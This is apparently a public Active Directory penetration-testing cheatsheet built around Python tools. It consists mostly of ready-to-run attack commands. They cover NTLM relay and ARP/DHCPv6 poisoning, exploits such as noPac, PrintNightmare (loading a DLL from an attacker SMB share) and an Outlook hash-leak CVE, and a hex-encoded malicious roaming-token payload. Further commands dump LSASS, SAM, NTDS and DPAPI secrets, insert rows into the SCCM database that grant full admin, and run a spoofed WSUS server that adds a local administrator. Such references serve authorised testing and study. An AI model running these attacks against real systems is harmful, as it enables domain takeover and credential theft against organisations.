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Active Directory - Python edition

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Internal audit mindmap

Insane mindmap by @M4yFly.

Find the domain and the DCs

Generally the domain name can be found in /etc/resolv.conf

Then the DNS is generally installed on the DC : nslookup domain.local

Usernames wordlist

Create a wordlist of usernames from list of Surname Name

Code here

python3 namemash.py users.txt > usernames.txt

Initial Access

What to do when you are plugged on the network without creds.

  • NTLM authentication capture on the wire with Responder poisoning, maybe in NTLMv1 ?
  • Relay the NTLM authentications to interesting endpoints, be careful to the signing
    • SMB socks to list/read/write the shares
    • LDAP to dump the directory
    • LDAPS (or maybe SMB if signing not required) to add a computer account
    • ...
  • ARP poisoning with bettercap, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found here.
    • By sniffing everything on the wire with Wireshark, some secrets can be found with PCredz.

First, run bettercap with this config file:

# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on
sudo ./bettercap --iface <interface> --caplet spoof.cap

Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets:

python3 ./Pcredz -f extract.pcap
  • Poison the DHCPv6 answer to receive NTLM or Kerberos authentication
    • NTLM auths can be relayed with ntlmrelayx
    • Kerberos auths can be relayed with krbrelayx to HTTP endpoints (ADCS, SCCM AdminService API)
  • Search for a domain account
    • Look for SMB and LDAP null bind
    • With SMB login bruteforce
    • With Kerbrute bruteforce

Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts!

./kerbrute userenum -domain domain.local users.txt

Test for the Top1000 with login = password

Possible other passwords:

(empty)
password
P@ssw0rd
  • Look for juicy CVEs
  • Search for devices like printers, routers, or similar stuff with default creds

In case a printer (or something similar) has an LDAP account, but use the SASL authentication family instead of SIMPLE, the classic LDAP passback exploitation with a nc server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols.

docker buildx build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback

In parallel, listen with tshark:

tshark -i any -f "port 389" \
  -Y "ldap.protocolOp == 0 && ldap.simple" \
  -e ldap.name -e ldap.simple -Tjson

CVEs

AD oriented

  • SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
  • PetitPotam pre-auth (CVE-2022-26925)

If the target is not patched, this CVE can be exploited without creds.

./petitpotam.py -pipe all <attacker_IP> <target_IP>
  • NoPac (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287)

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

#Get ST
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP>

#Auto dump the hash
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP> --impersonate administrator -dump -just-dc-user domain/krbtgt
#Load a DLL hosted on a SMB server on the attacker machine
./printnightmare.py -dll '\\<attacker_IP>\smb\add_user.dll' 'user1:password@<target_IP>'

#Load a DLL hosted on the target, and specify a custom driver name
./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@<target_IP>'

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

  • EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708)

The exploits in the Metasploit framework are good for these two CVEs.

#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
  • SMBGhost (CVE-2020-0796)

Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE.

msf6 exploit(windows/smb/cve_2020_0796_smbghost) >

To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>
# Fetch current user object
$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

getST.py -force-forwardable -spn <cifs/target.domain.local> -impersonate Administrator -dc-ip <DC_IP> -hashes :<service_account_hash> domain.local/<service_account>
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>

Targeting Exchange server

  • ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065)

The exploits in the Metasploit framework are good for these three CVEs.

msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

python3 CVE-2023-23397.py --path '\\<attacker_IP>\'

Before sending the email, run Responder to intercept the NTLM hash.

For local privesc

Look at the Active Directory cheatsheet for this part.

Domain Enumeration

Domain policy

Current domain

#Domain policy with ldeep
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> domain_policy

#Password policy with NXC
nxc smb <targets> -u user1 -p password --pass-pol

Another domain

ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy

Domain controller

The DNS is generally on the DC.

nslookup domain.local
nxc smb <DC_IP> -u user1 -p password

Users enumeration

List users

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users

User's properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v
nxc ldap <DC_IP> -u user1 -p password -M get-unixUserPassword -M getUserPassword

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v |grep -i password

Actively logged users on a machine

Needs local admin rights on the target

nxc smb <target> -u user1 -p password --sessions

User hunting

Find machine where the user has admin privs

If a Pwned connection appears, admin rights are present. However, if the UAC is present it can block the detection.

nxc smb <targets_file> -u user1 -p password

Find local admins on a domain machine

lookupadmins.py

python3 lookupadmins.py domain.local/user1:password@<target_IP>

#NXC
nxc smb <targets> -u user1 -p password --local-groups Administrators

Computers enumeration

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v

#Hostname enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers --resolve

Groups enumeration

Groups in the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v |grep -i admin

All users in a specific group

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> membersof <group> -v

All groups of an user

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> memberships <user_account>

Local groups enumeration

nxc smb <target> -u user1 -p password --local-groups

Members of a local group

nxc smb <target> -u user1 -p password --local-groups <group>

Shares / Files

Find shares on the domain

nxc smb <targets> -u user1 -p password --shares

A module for searching network shares:spider_plus. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password .. ) to identify an interesting file to search:

nxc smb <targets> -u user1 -p password -M spider_plus

Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the -o READ_ONLY=False option after the -M spider_plus (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it.

nxc smb <targets> -u user1 -p password -M spider_plus -o READ_ONLY=False

Find files with a specific pattern

nxc smb <targets> -u user1 -p password --spider <share_name> --content --pattern pass

Find files with sensitive data

Python version of Snaffler

pysnaffler 'smb2+ntlm-password://domain\user1:password@<target>' <target>

GPO enumeration

List of GPO in the domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo

Organisation Units

OUs of the domain and their linked GPOs

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou

Computers within an OU

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v |grep -i "OU=<OU_name>" |grep -i "distinguishedName"

DACLs

All ACLs associated to an object (inbound)

#With samAccountName
dacledit.py -action read -target <target_samAccountName> -dc-ip <DC_IP> domain.local/user1:password

#With DN
dacledit.py -action read -target-dn <target_DN> -dc-ip <DC_IP> domain.local/user1:password

#With SID
dacledit.py -action read -target-sid <target_SID> -dc-ip <DC_IP> domain.local/user1:password

Outbound ACLs of an object

These are the rights a principal has against another object

dacledit.py -action read -target <target_samAccountName> -principal <principal_samAccountName> <-dc-ip <DC_IP> domain.local/user1:password

Trusts

Trusts for the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

BloodHound

The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs)

DNS resolution

Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this problem:

dnschef --fakeip <DC_IP> --fakedomains domain.local -q

Then, in the BloodHound command specify the DNS address with -ns 127.0.0.1, dnschef will do the work.

Basic usage

# Default collection
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip

# All collection excepted LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip
#With LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip

#Only collect from the DC, doesn't query the computers (more stealthy)
bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip

Specify another Global Catalog

bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc <hostname> --zip

Interesting Neo4j queries

Users with SPNs

MATCH (u:User {hasspn:true}) RETURN u

AS-REP Roastable users

MATCH (u:User {dontrepreauth:true}) RETURN u

Computers AllowedToDelegate to other computers

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p

Shortest path from Kerberoastable user

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Computers in Unconstrained Delegations

MATCH (c:Computer {unconsraineddelegation:true}) RETURN c

Rights against GPOs

MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p

Potential SQL Admins

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p

LAPS

Machine with LAPS enabled

MATCH (c:Computer {haslaps:true}) RETURN c 

Users with read LAPS rights against "LAPS machines"

MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p

SOAPHound

A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet.

AD Miner

AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its Smartest paths feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a ExecuteDCOM edge).

Lateral Movement

WinRM

evil-winrm -u user1 -p password -i <target_IP>

evil-winrm permits to open an interactive WinRM session where it is possible to upload and download items between the target and the attacker machine, load PowerShell scripts, etc.

SMB

From one computer to another one

psexec.py domain.local/user1:password@<target>

From one computer to many ones

nxc smb <targets> -u user1 -p password -X <command>

Execute immediat scheduled task

#As the session 0 (SYSTEM)
atexec.py domain.local/user1:password@<target> <command>

#As the user of another session on the machine
atexec.py -session-id <ID> domain.local/user1:password@<target> <command>

WMI

wmiexec.py domain.local/user1:password@<target>

ShellBrowserWindow DCOM object

dcomexec.py domain.local/user1:password@<target>

Credentials gathering

Check RunAsPPL

Check if RunAsPPL is enabled in the registry.

nxc smb <target> -u user1 -p password -M runasppl

Dump creds remotely

#Dump SAM database on a machine
nxc smb <target> -u user1 -p password --sam

#Dump LSA secrets on a machine
nxc smb <target> -u user1 -p password --lsa

#Dump through remote registry
reg.py -o \\<attacker_IP>\share domain.local/user1:password@<target> backup
reg.py domain.local/user1:password@<target> query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' 

#Dump the lsass process and parse it
nxc smb <target> -u user1 -p password -M lsassy
nxc smb <target> -u user1 -p password -M nanodump
nxc smb <target> -u user1 -p password -M mimikatz
nxc smb <target> -u user1 -p password -M procdump

lsassy -u user1 -p password -d domain.local <target>

minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp

#Retrieve Chrome passwords
nxc smb <target> -u user1 -p password -M enum_chrome

#Make a DCSync attack on all the users (NT hashes, Kerberos AES key, etc)
secretsdump.py domain.local/user1:password@<DC>
nxc smb <target> -u user1 -p password --ntds

#DCSync only the NT && LM hashes of a user
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@<DC>

#Retrieve NT hashes via Key List Attack on a RODC
    #Attempt to dump all the users' hashes even the ones in the Denied list
    #Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -full domain.local/user1:password@RODC-server
    #Attempt to dump a specific user's hash
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -t user1 -kdc RODC-server.domain.local LIST

#Certsync - retrieve the NT hashes of all the users with PKINIT
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP>

    #Provide the CA .pfx if it has been obtained with another way
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP> -ca-pfx CA.pfx

Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/

Extract creds locally

The SYSTEM hive is needed to retrieve the bootkey and decipher the DB files.

#Extract creds from SAM and SECURITY (LSA cached secrets)
secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL

#Extract creds from NTDS.dit
secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL

Read an LSASS dump with pypykatz:

pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] | .credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]"

Credentials Vault & DPAPI

Decipher Vault with Master Key

dpapi.py vault -vcrd <vault_file> -vpol <vault_policy_file> -key <master_key>

Dump all secrets on a remote machine

DonPAPI.py domain.local/user1:password@<target>

Extract the domain backup key with a Domain Admin

dpapi.py backupkeys --export -t domain.local/user1:password@<DC_IP>

Dump all user secrets with the backup key

DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@<targets>

GPPPassword & GPP Autologin

Find and decrypt Group Policy Preferences passwords.

Get-GPPPassword.py domain.local/user1:password@<target>
    #Specific share
Get-GPPPassword.py -share <share> domain.local/user1:password@<target>

#GPP autologin
nxc smb <target> -u user1 -p password -M gpp_autologin

Credentials in third-party softwares

Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on.

python3 client/ThievingFox.py poison --all domain.local/user1:password@<target>
python3 client/ThievingFox.py collect --all domain.local/user1:password@<target>
python3 client/ThievingFox.py cleanup --all domain.local/user1:password@<target>

Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here.

This attack is presented in the Active Directory cheatsheet.

Token manipulation

Token impersonation with command execution and user addition

Blog here.

  • List available tokens, and find an interesting token ID
nxc smb -u user1 -p password -M impersonate -o MODULE=list
  • With only SeImpersonatePrivilege, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default):
 nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN=<token_id> CMD="user2 password 'Domain Admins' \\dc.domain.local"
  • With SeImpersonatePrivilege and SeAssignPrimaryToken, if a privileged user's token is present on the machine, it is possible to execute comands on the machine as him:
 nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN=<token_id> CMD=<command>

Look at the Active Directory cheatsheet for other solutions.

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

masky -d domain.local -u user1 -p <password> -dc-ip <DC_IP> -ca <CA_server_FQDN\CA_name> -o <result_folder> <targets>

Pass The Hash

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, NetExec and evil-winrm, it's -H.

Over Pass The Hash / Pass The Key

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Key with the -aesKey command line parameter instead of specifying the password. For NetExec it's --aesKey.

Kerberos authentication

Request a TGT or a ST

getTGT.py -dc-ip <DC_IP> domain.local/user1:password

getST.py -spn "cifs/target.domain.local" -dc-ip <DC_IP> domain.local/user1:password

Use the tickets

Load a kerberos ticket in .ccache format : export KRB5CCNAME=./ticket.ccache

Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos with the -k -no-pass command line parameter instead of specifying the password. For ldeep it's -k.

For NetExec it is -k with credentials to perform the whole Kerberos process and authenticate with the ticket. If a .ccache ticket is already in memory, it is -k --use-kcache.

For evil-winrm it's -r <domain> --spn <SPN_prefix> (default 'HTTP'). The realm must be specified in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }

If the Kerberos ticket is in .kirbi format it can be converted like this:

ticketConverter.py ticket.kirbi ticket.ccache

ADIDNS poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

  • By default, any user can create new ADIDNS records
  • But it is not possible to change or delete a record we are not owning
  • By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP:

# Check if the '*' record exist
python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

# creates a wildcard record
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP> <DNS_IP>

# disable a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

# remove a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>

Feature abuse

SCCM / MECM

Most of the SCCM attacks must be performed from a Windows machine with SharpSCCM.exe. I recommend you to read the Active Directory cheatsheet.

Recon
  • Retrieve the PXE boot media
python3 pxethiefy.py explore -i eth0
  • Identify the SCCM servers and the potential SCCM admins
#Find the assets in the LDAP configuration
python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip <DC_IP>

#Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc)
#And save PXE variables
python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip <DC_IP> -save

#Show results from the previous commands
python3 sccmhunter.py show -smb
python3 sccmhunter.py show -user
python3 sccmhunter.py show -computers
python3 sccmhunter.py show -all
SCCM credentials extraction with DPAPI

It is possible to retrieve the Network Access Accounts (NAA) in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI. With SYSTEM access on the client, the credentials can be retrieved:

SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local'
Network Access Account de-obfuscation

A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, de-obfuscate them and retrieve the NAA's credentials in them. A controlled computer account is needed to send the authenticated request, but the account to spoof doesn't need to be the same. Full explains here. WARNING : the author does not recommanded to use the tool in prod.

sccmwtf.py "fakepc" "fakepc.domain.local" '<SCCM_server>' 'domain\ControlledComputer$' 'Password123!'

Then decrypt the retrieved hexadecimal blobs:

.\policysecretunobfuscate.exe <blob_hex_1>
.\policysecretunobfuscate.exe <blob_hex_2>

In another hand, sccmhunter can be used:

#Create a computer account and request the policies
python3 sccmhunter.py http -u user1 -p password -d domain.local -dc-ip <DC_IP> -auto

#To use an already controlled computer account
python3 sccmhunter.py http -u user1 -p password -d domain.local -cn <computer_name> -p <computer_password> -dc-ip <DC_IP>
SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here and here.

  • Relay to the site database server

Retrieve the controlled user SID:

rpcclient -c "lookupnames USER" $TARGET_IP
    # And convert it in HEX format
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))

Setup a NTLM relay server to MSSQL or SMB:

# targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks

# targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

Coerce the primary site server authentication via PetitPotam, PrinterBug ou whatever.

With a MSSQL socks open, an mssqlclient session can be obtained:

proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth

And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), 
--the “All Systems” scope (SMS00001), 
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');

Post exploitation via SCCM can now be performed on the network.

  • Relay to the SMS Provider server

If the HTTP API is accessible on the SMS Provider server, setup ntlmrelayx with this PR to add user1 as a new SCCM admin:

ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid <user1_SID>

And coerce the primary site server via PetitPotam, PrinterBug ou whatever.

  • Relay from a passive to the active site server

When high availability in required, it is possible to find a passive site server that will be used only if the active site server stop working. Its machine account must be a member of the local Administrators group on the active site server.

Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server.

ntlmrelayx.py -t activeServer.domain.local -smb2support -socks

Then, through the proxy socks session, dump the SAM and LSA with secretsdump.The active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group.

python3 sccmhunter.py admin -u activeServer$ -p :<nthash> -ip <SMS_Provider>

() (C:\) >> add_admin controlledUser <controlledUser_SID>
() (C:\) >> show_admins
AdminService lateral movement

The CMPivot service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses a HTTP REST API, named AdminService, provided by the SMS Provider server which.

With SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation purpose.

python3 sccmhunter.py admin -u "domain\user1" -p password -ip <site_server_IP>

Then, the help command can be typed in the opened shell to view all the CMPivot commands handled by sccmhunter.

() C:\ >> help

Documented commands (use 'help -v' for verbose/'help <topic>' for details):

Database Commands
=================
get_collection  get_device  get_lastlogon  get_puser  get_user

Interface Commands
==================
exit  interact

PostEx Commands
===============
add_admin  backdoor  backup  delete_admin  restore  script

Situational Awareness Commands
==============================
administrators  console_users  ipconfig   osinfo    sessions
cat             disk           list_disk  ps        shares  
cd              environment    ls         services  software

WSUS

Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

#Find the WSUS server with the REG key
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine.

PXE Boot

PowerPXE is a PowerShell script that extracts interesting data from insecure PXE boot. It is presented in the Active Directory cheatsheet.

pxethiefy.py identifies a PXE boot media, extracts it and provides a crackable hash if it is encrypted, and displays next steps with SharpSCCM to retrieve sensitive information.

python3 pxethiefy.py explore -i eth0
python3 pxethiefy.py decrypt -p "password" -f file.boot.var

Pre-Windows 2000 Computers

Everything is explained here.

Domain Privesc

Kerberoast

The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets.

Find user with SPN

GetUserSPNs.py -dc-ip <DC_IP> domain.local/user1:password

#In another domain through trust
GetUserSPNs.py -dc-ip <DC_IP> -target-domain <target_domain> domain.local/user1:password

Request in JtR/Hashcat format

GetUserSPNs.py -dc-ip <DC_IP> -request -outputfile hash.txt domain.local/user1:password

Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:

pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23 'kerberos+password://domain.local\user1:password@<DC_IP>'

Crack the hash

john hash.txt --wordlist=./rockyou.txt

hashcat -m 13100 -a 0 hash.txt rockyou.txt

Kerberoast with DES

This attack is presented in the Active Directory cheatsheet.

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here.

This PR must be used for the moment.

GetUserSPNs.py -no-preauth <user_w/o_preauth> -usersfile "users.txt" -dc-host <DC_IP> "domain.local"/

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast.

ritm -i <attacker_IP> -t <target_IP> -g <gateway_to_spoof> -u users.txt

AS-REP Roasting

  • If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled (UF_DONT_REQUIRE_PREAUTH) -> Kerberos preauth is disabled -> it is possible to grab user's crackable AS-REP and brute-force it offline.
  • With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be disabled.

Enumerate users

GetNPUsers.py -dc-ip <DC_IP> domain.local/user1:password

Request AS-REP

GetNPUsers.py -dc-ip <DC_IP> -request -format john domain.local/user1:password

It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet.

Crack the hash

With john or hashcat it could be performed

DACLs attacks

ACLs packages

  • Owns object
    • WriteDacl
  • GenericAll
    • GenericWrite
    • AllExtendedRights
    • WriteOwner
  • GenericWrite
    • Self
    • WriteProperty
  • AllExtendedRights
    • User-Force-Change-Password
    • DS-Replication-Get-Changes
    • DS-Replication-Get-Changes-All
    • DS-Replication-Get-Changes-In-Filtered-Set

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it

